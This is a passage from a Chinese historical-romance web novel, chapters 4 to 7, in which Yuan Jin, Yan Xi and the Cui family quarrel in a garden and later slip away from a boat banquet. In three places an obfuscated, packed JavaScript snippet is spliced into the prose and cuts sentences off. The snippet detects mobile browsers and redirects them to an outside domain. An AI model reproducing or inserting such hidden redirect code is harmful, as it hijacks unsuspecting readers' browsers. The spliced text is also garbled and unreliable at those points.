“看来青阳是很了解原娘子喽。”崔言调侃,“毕竟我也是从青阳口中得知袁娘子是个心直口快的女郎。” 颜熙一顿,干巴巴地回答:“我那是据实以告。” 崔闻轻笑,拍了拍颜熙的肩膀:“先生来了,我们走吧。” 颜熙哦了一声,略作思考后,叫来自己的随从,仔仔细细地交代一番后才放随从出去买东西。 他在心里祈祷,希望这个祖宗能记着我的好,在知道真相后能下手轻点。如果可以的话,也别打脸。 阳光从阁楼走到了亭中,最后收聚在绣针上,银白色的光亮晃了眼,尖锐的针头扎到了指腹,袁瑾倒抽一口凉气。她翻开手掌,还好指尖有一层薄茧护着,要不然非要出血不可。 “可是受伤了?”崔夫人关切地询问。 “没事,我皮糙肉厚,小小的绣花针还伤不到我。”说着,她还把自己的手翻过来,摆给崔夫人看,“不信您看。” “那就好。”崔夫人松了口气,又道,“袁娘子也绣了许久,休息一会儿吧。” 袁瑾如释重负,将绣品放到石桌上,揉着自己酸痛的脖子。 可累死她了,原本以为女红就是拿着针在绣布上随便扎两针就行,结果光是认清针线绣布的种类就费了好一番功夫。想到日后还要学着将一股线在分成好几股细丝,她的眼睛已经开始疼了。 啧,该死的颜青阳。等我修完绢帕,我非要教训他一顿!袁瑾愤愤地想。 她撑着脸颊欣赏廊下的奇花异草,想到了崔夫人的别院,与眼前争奇斗艳的花朵相比别院实在单调。只有当清风拂过的时候,才能看到碧海青波下似雪如云的荼蘼。可即便清香满园也只是将别院衬得越发冷清。 她猜崔夫人也是怕自己无聊才将她带到园林来。移开目光,看向崔夫人的绣布。一匹毛色黑亮的骏马奔驰在草原上,鬃毛飞扬飘逸,让人能感受到它的自由无拘。 “您很喜欢马吗?”袁瑾询问。 崔夫人停下了手中的动作,问她:“怎么会这么想?” “因为晚辈觉得只有真心喜爱才会绣得栩栩如生。”袁瑾认真地回答。 “都说袁家娘子粗枝大叶,”崔夫人展露笑颜,“可我却觉得传闻并不可信。”她重新看向自己的绣布,抚摸着黑马的鬃毛,用着轻柔舒缓的语调回答着袁瑾上一个问题:“喜欢的,一直都很喜欢。” 闪烁的金色浮动在水面,微风下的枝叶发出沙沙的响声,与融融的水声交织在一起,令亭下变得静谧而安详。 正当袁瑾打算说些什么的时候,一个人穿过曲折的长廊来到了亭下,巧的是来人她昨天还见过。 “姑姑,”崔家郎君向崔夫人问安后,又冲她笑道,“又见面了,袁娘子。” 袁瑾露出稍微友善的神情:“是啊,崔郎君。” 见两人熟稔崔夫人不免好奇:“你们认识?” “是。”崔家郎君解释,“昨日碰巧遇到了。” “原来如此。”崔夫人点了点头,又问,“通古前来可是有事?” 见姑侄两个人有话要说,袁瑾借口赏花很识趣地离开了凉亭。 原来他就是崔通古,袁瑾回头看向亭下人,对方身材颀长,容貌出众,可谓是“翩翩我公子,机巧忽若神[2]”。 要说他们这一辈谁才学最高,恐怕非崔通古莫属了。想起少时跟着兄长学习的时候,无论是老师还是父母总是将崔通古挂在嘴边,希望他们兄妹两个能如崔通古一般博学多才,知书达理…… 一只手横空出现挡住了视线,不用想就知道是谁了。袁瑾缓缓地抬起眼眸,果不其然看到了颜熙那张讨人厌的脸。 颜熙故作惊讶:“瞧我看见了什么,谁家的小娘子‘辗转反侧’了?” “我看‘辗转反侧’是另有其人吧。”袁瑾横了颜熙一眼,“你来干什么?” 她盯着颜熙,只要这厮说是来看她笑话的,她就一定要他好看! 不知道颜熙是不是猜到了自己的想法,竟说了句人话:“当然是来看你的。” 袁瑾蹙起眉头,用着怀疑的目光打量着颜熙:“你?你不来看我笑话我就谢天谢地了,还能好心来看我?” “在你眼里我就是个落井下石的人吗?”颜熙故作受伤地捂着胸口。 “不然呢,你落井下石的次数还少了?要不要我提醒你一下?”袁瑾瞪了颜熙一眼。 可还没等她开始细数颜熙的罪行自己的肚子却先叫了起来。那咕噜噜的响声不大不小,刚好足够她和颜熙听得一清二楚。她愣在原地,大脑一片空白。尴尬羞耻一股脑地灌进胸口,双颊燥热让她觉得自己像个沸腾的茶壶。 “噗。” 细微的气音勾动了袁瑾脆弱的神经,她扬起头怒视声音的源头:“你笑我?” 颜熙努力压平上扬的唇角,矢口否认:“我没有。” “你当我是三岁稚童随你糊弄吗!”袁瑾恼怒。 话音刚落,颜熙就当着她的面笑出了声。 她被气得跺脚,指着颜熙命令道:“不准笑!” 可颜熙非要跟她对着干,她越是不让他笑,他笑得越开心。 袁瑾深吸一口气,笑笑笑,我一会儿就让你哭!只见她提起裙摆,用力一踏,不成想扑了空。 抬头看去,颜熙正看着她,沾沾自喜道:“我是不会在一个地方跌倒两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047379|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次的。” 她又补了几脚却都落了空。这下,颜熙的尾巴都要翘到天上去了。她气不过又拿颜熙没办法,嘴一瘪,作出泫然欲泣的模样,吓得颜熙连忙上前查看:“哎哎哎,这怎么还哭了?”见猎物上钩,她以迅雷之势揪住了颜熙的耳朵。 “你骗我!”颜熙睁大眼睛。 “就骗你了又如何?”袁瑾用另一只手拍着颜熙的脸蛋,活像一个山大王痞里痞气道,“你笑啊,你再笑啊。” “哎哎哎,轻点轻点,这不是驴耳朵,……”颜熙求饶,“错了错了,饶命,祖宗饶命。” 听够了求饶后,袁瑾才大发慈悲地分给颜熙一个眼神:“还敢不敢了?” “不敢了,不敢了。”颜熙做小伏低。 袁瑾:“把刚才的事情忘得干干净净。” 颜熙试图讨价还价:“记忆哪是说忘就忘的?要不我保证不说……” “嗯?” “忘忘忘,我一会儿就找块豆腐去,保证忘得干干净净!” “撞豆腐亏你想的出来。”袁瑾手一松,颇为嫌弃地把颜熙丢到一边。 颜熙揉着发红的耳朵嘀咕:“下手也太狠了,谁要是娶了你,他可真是……” “真是什么?”袁瑾活动手腕。 颜熙见风使舵,话锋一转:“他真是修了八辈子的福。” “出息。”袁瑾像是意识到了什么猛然转过头看向亭下。 “行啦,别紧张了,人家早就在你欺负我之前走了。你不用担心自己在人家面前原形毕露。”颜熙将食盒提到袁瑾的眼前晃了晃,“走吧。” “我才没欺负你,是你活该。”袁瑾下意识地回怼,看到食盒满面疑惑,“你从哪变出来的?” “你是有多不关心我?”颜熙转头看向她,“我当然是从一开始就带着食盒来的。” “哼。”她转过头留给颜熙一个后脑勺。 颜熙唉声叹气:“真是上辈子欠你了。”说着,提着食盒跟上了袁瑾。 不一会儿石桌上就摆上了袁瑾爱吃的贵妃红、玉露团、七返糕、紫苏饮子。袁瑾拿起一块贵妃红咬了一口,香脆可口的酥皮配上甜而不腻的馅料简直是人间珍品。 好吃,真好吃。她半眯着眼睛,一脸满足。 颜熙敲了敲食盒提醒她:“食盒里还备了一份,你一会儿给崔夫人。” “你还挺贴心。”她撑着脸颊看向颜熙,“你不是在听学吗?怎么还有时间给我送吃的,不会是偷偷跑出来了吧。” “哎——可不要乱冤枉人。现在是休息时间,我当然可以自由出入。”颜熙笑眯眯地看向袁瑾,“说起来要是没有我,某人就要饿着肚子了。某人是不是要对我说句谢谢?” 袁瑾切了一声:“要不是某人我还不至于饿肚子。要我说谢谢,做梦吧。时间不早了,你赶紧走吧。” “用完就扔,”颜熙抱怨,“好歹挽留一下。” “才不!”袁瑾冲颜熙做鬼脸。 “你这个没良心的丫头。”颜熙顺走一块贵妃红,挑起眉头,“报酬我拿走了。” 我就知道这厮一点亏都不吃!袁瑾摆摆手示意颜熙赶紧滚蛋。 “呦,我还纳闷一向刻苦的颜兄今日怎么离了藏书阁,原来是跟佳人有约啊。” 突兀又轻佻的话语令袁瑾的心情飞转直下,抬眸看去正好与不速之客恶意满满的目光撞在了一起…… 5. 第 5 章 来人大约十七八岁,相貌也还算英俊。但在见过他那副轻浮的嘴脸后,任谁也不会对他有好感。 “你谁啊?”袁瑾的语气中透着不快。 来人对她的抵触视若无睹,轻笑一声看向颜熙说道:“小娘子的脾气倒是大。” “有吗?袁娘子对不请自来者一向如此,还请崔兄多习惯喽。”颜熙撑着头,把玩着手中的贵妃红,懒洋洋地回答。 袁瑾忍不住地看向颜熙,虽说颜熙没个正形但待人接物热情,从不会让人感到尴尬,这还是她第一次看到他如此不给人面子。 看来这两人有过节,而我是被牵连的。袁瑾喝了口紫苏饮子心道。 “原来是袁娘子啊,失敬失敬。在下崔言,字畅今,见过袁娘子。” 听到崔言的声音,袁瑾才好心地分给对方一个眼神,不巧看到了对方藏在眼中的怨怼。她觉得莫名其妙,又不是我要你来的,冲我发什么脾气?果然是丑人多作怪。她给了颜熙一个赶紧解决的眼神。 “说起来昨日家中倒是发生了一件趣事。”崔言自来熟地拿起一块贵妃红,“一个不知哪来的野丫头竟然打了我的仆从。询问了才知道那丫头不过是跟我堂兄说了几句话,就以为自己能飞上枝头了。” “可她也不想想,我清河崔氏百年世家又岂是她高攀得起?可惜这世上不知天高地厚的蠢货太多,总以为自己与众不同,可实际上她就像这贵妃红就算再稀奇再好吃,可到了我崔府后也就是那样。” 贵妃红被丢进了湖中,湖水泛起一圈又一圈波纹。 “袁娘子,颜兄你们觉得呢?”崔言的双手在颌下交叉,笑吟吟地看向袁瑾和颜熙。 崔言嘴角恶劣的弧度似鱼钩,勾起了袁瑾怒火中烧。你以为我愿意来?敢羞辱我,我要你后悔一辈子! 她敢要起身却被颜熙按住了,正疑惑时却听到颜熙说道:“崔兄所言甚是。” 你还有没有骨气了?她难以置信地看向颜熙。 颜熙熟视无睹,继续附和:“清河崔氏名动天下,郎君娘子更是钟灵毓秀。尤其是崔兄更是人中翘楚,不但富比石崇更是貌比潘安……” 刚开始的时候袁瑾确实恼怒,可是听着听着,她心中的怒火渐渐地被疑惑取代。颜熙是在夸人吗? 颜熙的话乍一听都是在夸人,可细细品味后就能发现细微的不同。哪有夸一个世家子弟光夸他的财富和相貌却对他的才学只字不提?这难道不是明着说崔言是个金玉其外败絮其中的草包吗? 她看向被夸得不知道东南西北的崔言心道,都被人说成中看不中用的绣花枕头了还在那自鸣得意,真是一个大草包。好歹跟崔通古同出一家,怎么一个天上一个地上? 察觉到她不似之前那么激动,颜熙抽空回来冲她眨了眨眼睛。 【怎么样?】 【马马虎虎就那样吧。】 袁瑾移开视线,挑了块七返糕放到嘴里,继续听这出“青阳斗草包”的大戏。 “等等!”崔言后知后觉地品出滋味,“颜青阳你敢挖苦我!” 颜熙眼眉一挑,嘴角一勾,故作惊讶道:“呀,你才发现啊。我还以为你早就发现了,没想到你竟如此迟钝。” 崔言的脸一阵红一阵白,喘着粗气,面颊上的软肉因为咬紧牙关而不自觉地哆嗦,显然是被颜熙气得够呛。 相较于快要被气死的崔言,颜熙气定神闲地吃起了糕点。在看到一旁已经脸色青黑的崔言后,他还将一块糕点递给了崔言:“好了好了,崔兄别气了,知道你爱吃,让给你还不行?” “噗。”袁瑾没忍住笑出了声。 颜熙的牙尖嘴利她是见识过的,每次都能把人气得半死。往日里她巴不得颜熙闭嘴,最好变成个哑巴一辈子别说话了,但此时此刻她无比希望颜熙能够再接再厉,最好能气死崔言。 “你们不要欺人太甚!”崔言猛拍桌子,伸出一只手指着二人怒道,可下一秒他的惨叫声便回荡在亭中。 只见袁瑾抓住了崔言的手指用力向后掰去:“我这辈子最讨厌别人拿手指着我,下次再犯,手指头别要了。”言罢,嫌弃地丢开了崔言的鸡爪子。 崔言捂着自己的手指,死死地盯着她,恨不得将她生吞活剥。急火攻心下他彻底撕毁了伪装的假面,冲着身后的仆从大声嚷嚷:“把他们给我赶出崔家!” 颜熙站了起来挡在她身前,秉持着做人留一线的处世态度,沉声道:“崔兄,园林中尚有客人,三思而行。” 可惜对方不仅不解其意,反而还以为他们怕了他,变本加厉:“园林中有别人又怎么样?他们算个什么东西。我就算当着他们的面把你们赶出他们也不敢说一个不字。” “现在知道怕了?晚了!” 崔言傲慢无礼的模样看得袁瑾手痒痒的,恨不得抄起手边的盘子砸在他的脑袋上。清河崔氏清河崔氏,除了用清河崔氏的名头压人还会干什么? “崔郎君,崔氏先祖因品德高尚、有君子之风,才为世人楷模。百家向往清河崔氏也是因为族中好学成风,子弟皆有名士风范。”颜熙戏谑,“可若是崔氏子弟皆如君之满腹戾气,只怕我等也没有那么推崇崔氏。” “说得好!”袁瑾用力地点头,补充,“成天就知道拿祖宗的名声吓唬人,崔氏祖先的名声都要被你这个不肖子孙败坏了。” 崔言怒视袁瑾:“你有什么资格说我,你们这些下等……” “崔言,住口!”崔闻厉声呵斥。 崔言倒打一耙:“堂兄,明明是他们两个出言不逊。” 颜熙对崔闻说:“通古,事已至此,我已不想多说,你自行决断吧。” 崔闻安抚道:“青阳放心,事情经过我已了然于心,定给你和袁娘子一个交代。” 崔言不满:“堂兄你不能胳膊肘往外拐啊!” 崔闻蹙起眉头:“园林中尚有客人,你在此大吼大叫成何体统?青阳为了我们的体面多烦忍让,畅今不要得寸进尺!” 即便被训斥崔言依旧梗着脖子不认错,一副死不悔改的样子。 “你——” 袁瑾原本是不理解颜熙不辩解的,但在听到崔闻的话后,她发现自己浅薄了。好一个以退为进,颜青阳你够狠。这下崔言彻底孤立无援了。她偷笑。 沉默已久的崔夫人开口了:“畅今,道歉。” 崔言难以置信地看向崔夫人:“姑姑!” 崔夫人淡声道:“是非对错,我心下自由分断。现在,道歉。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047380|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听到崔夫人的话袁瑾惊讶之余又有些感动,明明只是相处了几天,崔夫人却愿意相信她。 阳光缓缓而下,一层金纱从她的头上缓缓垂落,让人想起了寺庙中观音像。庄重高贵,却又仁慈公正地看待众生。 袁瑾想,我也算因祸得福,被迫学女红,却认识一位公正的长辈。 “今日是畅今失礼了,清河崔氏自当仔细管教,来日必登门道歉。”崔夫人声音温柔却不失力度,让人如沐春风,又让人感到可靠。 颜熙作揖:“夫人言重了,晚辈亦有失礼之处,夫人不予追究晚辈不胜感激。既然无事,那晚辈就和袁娘子先告退了。” 崔夫人看着颜熙,浅棕色的眸子满是温情,叹道:“郎君是个好孩子。去吧。” 好孩子?我怎么没看出来?袁瑾眨巴着大眼睛一头雾水。没等她想明白,颜熙就拉着她离开了。 “颜青阳你拉我出来干什么?事情还没结束呢!”她不解。 颜熙扶额:“祖宗,人家都要教训晚辈了你还留在那里,你觉得合适吗?” “有什么不合适的?”她理直气壮。 颜熙按着太阳穴。 “哼。”她向凉亭的方向张望,想着能不能看到大快人心的场景。 “好了好了别看了,看不到的。”颜熙想了想,又说,“崔畅今非良善之辈,经此一事他肯定记恨上你了,伺机报复,这崔府还是少来为妙。” “怕什么,他敢来招惹我,我就敢让他吃不了兜着走。不过是清河崔氏的一个分支而已,我还怕他了?”袁瑾颇为奇怪地看了一眼颜熙,“真是怪了,你不是一向喜欢看我吃瘪吗?今天怎么这么好心?” “吃瘪是吃瘪,吃亏是吃亏,我喜欢看你吃瘪,但并不代表我喜欢看你吃亏。有道是双拳难敌四手,你又在崔畅今的家里,万一吃亏回家告状,师姐肯定要揪着我的耳朵教训我了。”颜熙说道,“为了你我的安危,还是别来崔府了。” “不对,肯定不是这个,你肯定还有别的理由。说!”袁瑾向前一步。 颜熙被逼得向后退一步。 “哦——我懂了。”袁瑾环起手臂,“你是看我找到了一个好老师,马上就能补好绢帕不能再要挟我了,才故意说这些话吓唬我。我告诉你我不会上当的,明天我一定还来!” 颜熙见袁瑾误会,不得已坦白:“那我要说根本就没有什么定情信物,一切都是我骗你呢?” 袁瑾做鬼脸:“你以为我是小孩吗?你说什么就信什么。” 颜熙:“……” 如愿以偿地看到了颜熙哽住的表情,袁瑾如打了一场胜仗,心情大好,哼着歌向外走去。 颜熙按着太阳穴,思索了半天,如梦初醒:“我知道了,你这丫头看上崔通古了,所以才不想走!” 袁瑾闻言猛地转身一把捂住颜熙的嘴:“你乱说什么!” 颜熙拉下她的手,感叹:“果然是喜欢了。不然就你这个臭脾气,才不会委屈自己再来崔府。没看出来,你也这一面啊,袁小幺。” 袁瑾被颜熙眼中的揶揄刺激到了,掐着腰,攀比道:“我怎么就不能有这一面了?别以为就你会照顾心上人的心情,我也会,而且我能做得更好!” 6. 第 6 章 麻雀凑在船顶上,叽叽喳喳的,不知道在说些什么。船桨搅碎了水色,在船尾留下一条波光粼粼的光带。 今日荀氏举办船宴,袁瑾本来是不想来的,奈何袁荀两家是故交不得不来捧场。她一向不喜欢跟那些夫人娘子们聊天,索性站在船头赏景,感受阳光落在身上暖洋洋的感觉。 “清晖能娱人,游子憺忘归[1]。” 崔闻慢慢走进。他今日穿着竹月色的圆领袍,腰间垂着一块上好的羊脂玉佩,眉清目秀的脸上总是噙着笑,让人有一种仿若重回阳春三月的感觉。 袁瑾心道,难怪女郎们都想嫁给他,这等容貌,放在家里每天看也是好的。 崔闻问:“娘子在做什么?” 袁瑾随口答道:“晒太阳。” 崔闻一愣,重复着她的话:“晒太阳?” “是啊,晒太阳。里面又挤又吵还不如外面清静自在。”见崔闻身边没人,袁瑾问道,“颜青阳呢?” 崔闻:“青阳和荀郎君出去了,袁娘子找他?” 袁瑾马上否认:“我才不找他,一见他准没好事。就像上次被崔畅今——”意识到当着崔闻的面说崔言的坏话不妥,她生硬地转移话题,“咳,总之我跟他相生相克,一见面准没好事发生,还是不见了。” 崔闻替颜熙开脱:“上次的事情是畅今的不对,青阳实在无辜。” “那也是他把人引来的,”袁瑾撇撇嘴,“他们两个到底怎么结的梁子?” 崔闻也不见外,告诉袁瑾:“畅今好强,但在学堂上与青阳相比总有不足,他心中难免不平衡。”言罢,他叹了口气:“希望禁足的半月能让他摆正心态。” 袁瑾想说,关得好,说不过就乱咬人。要我说禁足半个月轻了,就应该禁足一个月,让他好好长长记性! “不说这些了,”崔闻笑道,“宴席快开始了,我们入席吧。” 袁瑾看着崔闻思索了一会儿同意了。 当袁瑾和崔闻一同出现在室内后,所有人都不约而同地露出了惊讶的目光。 袁瑾笑了一下,心说也是,谁会想到风评极佳的崔通古竟然与粗鲁无礼的她同行而且还相谈甚欢?在人们或是艳羡或是嫉恨的目光中,她有几分得意。让你们狗眼看人低,这下傻眼了吧。 “我来迟了。”柔柔的女声打破了室内过分的安静。 放眼望去,丽人出现在门口。明明只是普普通通的月白色长裙却被她穿出了高雅脱俗的感觉,落在姹紫嫣红中不仅毫不逊色,反而更胜一筹。 然而袁瑾的好心情在见到来人后荡然无存。几乎就是这一瞬,恶意的评判纷至沓来,如山洪爆发一般将她吞没,话语似水中的蚂蝗,紧紧地吸附在身上,甩也甩不开。 “你看看她,见到表姐也不知道先打声招呼,一点礼数都没有。” “谁说不是,原以为她改了性子,结果,呵。对了,你听说了吗?这位还大闹崔府了。” “大闹崔府?她怎想的?” “谁知道。现在还厚着脸皮跟在崔郎君的身边也不害臊。啧啧,崔郎君也是好脾气,竟能忍着她。” “……表姐妹也是姐妹,怎么姐妹两个一点也不一样……” 袁瑾攥起拳头,又是这样,又是这样!除了这些你们就没有别的话可说了吗!每次遇到这样的场合,她总是众矢之的。 “原来你在这。”朝气蓬勃的声音以不容反抗的姿态压住了流言蜚语,自由的风撞散了潮湿的恶意。而带来这一切的颜熙一边向她走来一边抱怨:“真不知道崔夫人喜欢你什么?一天不见就想得紧。可怜我,还得当跑腿来找你。” 话音刚落周围人的目光变了又变,就连议论声都小了。 “人我带走了。通古你记得跟荀世伯还有袁世伯说一声。”不等所有人反应,颜熙就拉着她的胳膊向外走去,将那群说三道四的人远远地甩在身后。 屋外的阳光依旧明媚动人,仅仅是在接触到一点,袁瑾心中的阴郁便消失了大半。她看着眼前挺拔的背影心道,又欠他一个人情。 “你撒谎,崔夫人根本没找我。”当面道谢这种事情她实在做不来,只能以此展开话题了。 颜熙偏过头:“何以见得?” 她督了颜熙一眼:“你以为我是傻子吗?崔夫人若是想要找我直接要崔闻给我带话就好了,怎么会让你一个外人传信?” “你这就武断了。万一崔夫人找你的时候,崔闻恰巧不在呢?”颜熙挑眉。 “你要不说这些话的话,我就信了。”她撇清关系,“要是被崔夫人知道了,我可不救你。” 颜熙丝毫不慌:“放心好了,崔夫人又不像某人喜欢斤斤计较,肯定会原谅我的。” “颜青阳你说谁斤斤计较了!”她扬起空着的手要教训颜熙。 “谁应了就是谁了。”颜熙转过身握住了她的手腕,故意气她,“哎,没打着。” 才想着对他好点,这厮就来戏弄我!袁瑾气不过抬起脚踹向颜熙的膝盖。可颜熙实在狡猾,他手一松向后一退,让她扑了空。 “又没打着,袁娘子你的准头不行啊。”颜熙展开扇子遮住了自己半张脸,露出两只促狭的眼睛。 袁瑾怒视颜熙:“有种你别躲!” “你要打我,我不躲,岂不成了傻子?我可不是你。”颜熙扇子一收拔腿就跑。 袁瑾追了上去:“你说谁傻?你给我站住!” “才不。”颜熙冲她做鬼脸。 袁瑾捂着起伏的胸膛,她发誓她一定抓到颜熙,然后好好地教训他一顿! 奈何颜熙像是泥鳅转世,每每到了快要抓到的时候,又以刁钻的角度跑掉了。好不容易抓住了颜熙的袖子,一定帷帽扣在她的头上,薄纱糊在脸上。她下意识地伸手去拉,结果又放走了好不容易到手的颜熙。 “你耍赖!”袁瑾一手掀开白纱一手指着颜熙。 颜熙转动着扇子,嬉皮笑脸:“你又没说规则。” “你——” “去玩吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047381|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 袁瑾的话还没说完就被颜熙打断了,看着已经站在舢板上的颜熙:“你要离席?” “这不是很明显吗?”颜熙又问她,“走吗?” 由于颜熙的表情太过理所当然,以至于袁瑾生出了一股荒唐感。她道:“无故离席你就不怕被人议论?” “就算老老实实的待着也会被说三道四。既然怎么样都被说,那还不如自在点。”颜熙耸肩,漫不经心的继续说,“再说了,我又不是无故离席,不是说了崔夫人找吗?” 袁瑾了然:“难怪你要拉我出来,原来是拿我当借口。” 颜熙反问:“话可不能这么说,难道你就不想离席吗?” 袁瑾环着手臂:“你可不要瞎说。”虽然颜熙说得对,但她就是不想顺颜熙的意。 “这么说袁娘子是不想离席了,看来席面上有袁娘子舍不得的宝贝。会是什么呢?”颜熙摩挲着下巴,忽然弯起眼睛,冲她坏笑,“不会是舍不得崔家的俊俏郎君吧。” “颜青阳你胡说什么!”袁瑾觉得自己的耳根子有点热。 颜熙像是发现了什么稀奇的事情,用着夸张的语气说道:“你着急了?看我说对了!”随后又畅想起未来,笑着对她说:“日后成了可要感谢我,要不是我牵线你们两个还见不到呢……” 那笑声吵得人心烦,袁瑾抓起腰间的香囊向颜熙砸去。 颜熙毫无防备被砸了个正着,惊掉了扇子还差点翻了船。 风水轮流转,这回换袁瑾在船上开怀大笑了。 “你这个小魔星,我掉水了对你有什么好处?”颜熙摇了摇头,捡起扇子和香囊,再次问她,“去玩吗?袁娘子。” 初夏的云朵,轻盈飘逸,行走在清澈的水波中。乌木制的舢板飘浮在雪白的云朵上,黑白分明。 舢上人望着她,水波的微光浮动在他的眉眼间,点缀着那双如星辰一样明亮的眼睛,颜熙脸上的笑容熟悉又可恶却又那么潇洒自得。 袁瑾愣了愣。 淡黄色的花瓣描摹出风的形状,旋转着,飞舞着,最后落在水面留下一圈圈涟漪…… “喂,你不会是不敢下来吧。”颜熙大发慈悲道,“早说啊,虽然你差点害得我掉水里,但我还是可以大度地扶你一把。”他装模做样地伸出手。 袁瑾回过神拍开颜熙的手,十分嫌弃:“你才害怕了。别以为我不知道你是在等我伸出手在故意抽回去。”跳上舢板后,抬了抬下巴示意颜熙去划船。 “我可没这么想。”颜熙拿起船桨划了起来,又道,“好说歹说我也是帮你脱身了,连声谢谢都听不到。唉,颜某真是命苦啊。” “本来是想说的,谁让你刚才惹到我了。不说,略——”袁瑾用鬼脸回敬颜熙后,便扭过头欣赏起初夏的景色。 “你这是强词夺理!”颜熙嚷嚷道。 袁瑾没有理会颜熙却勾起了唇角,心中的不快早就被期待取代。不知道一会儿会去哪玩?不过颜青阳惯会享受,他选的地方总不会错的。 7. 第 7 章 四周安静极了,耳边只剩下潺潺的水声。舢板漂浮在水面,随着水波微微地荡着,仿若置身云端,让人感到惬意。 袁瑾靠在船舷上百无聊赖地描摹山丘的轮廓。 “喂,你到底要带我去哪玩?”她转过头看向颜熙,眯起眼睛,“你不会耍我吧。” “我哪敢骗您啊——放心吧,肯定不会把你给卖了。”颜熙半仰着脸,神色放松,玩世不恭的模样。 我真是鬼迷心窍了,竟然跟着颜青阳一起逃出来了。袁瑾在心中叹气,这下好了,上了贼船下不去了。 丝丝清香飘了过来,她斜眼看去,才发觉舢板已经驶入了一片莲塘。莲叶紧密地挨在一起,一眼看去满是青碧,仿佛置身于世外桃源,远离红尘烦恼。 木浆拨开一片宽大的莲叶,一朵含苞欲放莲花蓦然出现。粉色的花瓣由浅入深,从层层叠叠的花瓣缝隙中能窥见鹅黄色的花蕊。 一只蝴蝶落在了花瓣尖尖的角上,翕动着翅膀打量着擅自闯入的不速之客,却又在她的手指靠近的那一刻飞走了。 “噗,笨死了。”颜熙不假思索地嘲笑。 袁瑾转过身,瞪着颜熙:“你再说一遍。” “嗯?有人说话了吗?”颜熙是装傻充楞的好手,这会儿正眨巴着眼睛一脸无辜地看向她。 “少装,我还不知道你?”袁瑾冷哼一声,坐回原位,“你是怎么发现这里的?” “当然是无意发现的喽。”颜熙划动着木桨,继续向深处驶去。莲叶也越来越密集,尽管她低下头尽力躲避,但依旧会被突然闯入的莲叶撞个满怀。刚拨开横在眼前的莲叶,就对上了颜熙那双笑吟吟的眼睛。 “你故意的是不是?”袁瑾折下一片莲叶砸向看她笑话的颜熙。 颜熙一手接住莲叶:“颜某可不敢,万一您一生气把颜某踹进水里怎么办?” 袁瑾睨了颜熙一眼:“你又不是不会凫水。” “此言差矣,狼狈地回去和体面地回去还是有差别的。”颜熙竖起手指在袁瑾的眼前晃了晃,“颜某还不想成为别人的谈资。” “切,是谁刚才信誓旦旦地说‘既然怎么样都被说,那还不如自在点’的。”袁瑾抬了抬下巴,“您的潇洒不羁呢?您的洒脱超然呢?” 颜熙:“……你这是强词夺理。” “我这是实话实说。” 看到颜熙吃瘪袁瑾心情大好哼起了小曲,将手肘搭在船舷上,仰着头。温暖的阳光穿过莲叶与清凉的水汽交融在一起,温度舒适,她闭上眼睛放逐魂灵享受着一切。 莲叶亭亭如盖,光影交错其中,一叶扁舟渡莲地,快哉也。 袁瑾慢慢地睁开眼睛,看向与她相对而坐的颜熙。蝶黄色外袍的一只袖子被颜熙掖了起来,露出里面靛青色的半臂,结实的小臂被褐色的护腕包裹,线条流畅,颇具美感。 她收回视线,懒洋洋地问道:“这就是你要带我来的地方?” “是也不是,”颜熙把刚才的尴尬抛之脑后,开始故弄玄虚,“准确地说这里应该是必经之地。”说着,他又叹了口气:“可惜莲蓬尚未成熟,不能一尝美味了。” “还不知道莲塘有没有主人你就随便摘,当心主人放狗咬你。”袁瑾嘲讽,“到时候可以定要知会我一声,我可不想错过百年一见的笑话。” “那可让袁娘子大失所望了,”颜熙笑了起来,“颜某已经问过了,这是一片无主之地。” “切。”袁瑾转过头,曲起食指敲着船舷,催促,“快点划,磨磨蹭蹭的,宵禁了怎么办?” 颜熙抬起头向天看去,金乌高悬,距离宵禁还有四五个时辰。 穿过莲塘再行一段距离,四周就变得热闹起来。船只来来往往,稚童们呼朋引伴奔跑在岸边,他们趁着大人们不注意一头扎进暖洋洋的河水中,欢快的笑声引得过路人不禁弯起嘴角。 舢板靠了岸,颜熙伸了个懒腰:“可算到了,累死我了。” “才划了多久就累了,你也太虚弱了。”袁瑾扶着船舷站了起来活动筋骨。 颜熙扬起头:“你这话就有失偏颇了,几里地的水路就我一个人划能不累吗?” 袁瑾没搭理颜熙,上了岸,环顾四周。随处可见的摊位,琳琅满目的商品,商贩的叫卖声穿过熙熙攘攘的人群从远处飘来,隐约间还能听到美妙的歌声,生活气扑面而来。 “这下相信我没骗你吧。”颜熙的声音从身后传来,“有意思吧。” “也就那样吧。”袁瑾不想让颜熙得意,故意表现得满不在意。她将颜熙甩在身后走入街市,心思渐渐被有趣的小玩意占据。她拿起一艘小船,桃核大,却五脏俱全。船上人活灵活现,更神奇的是核舟的窗户可以打开。 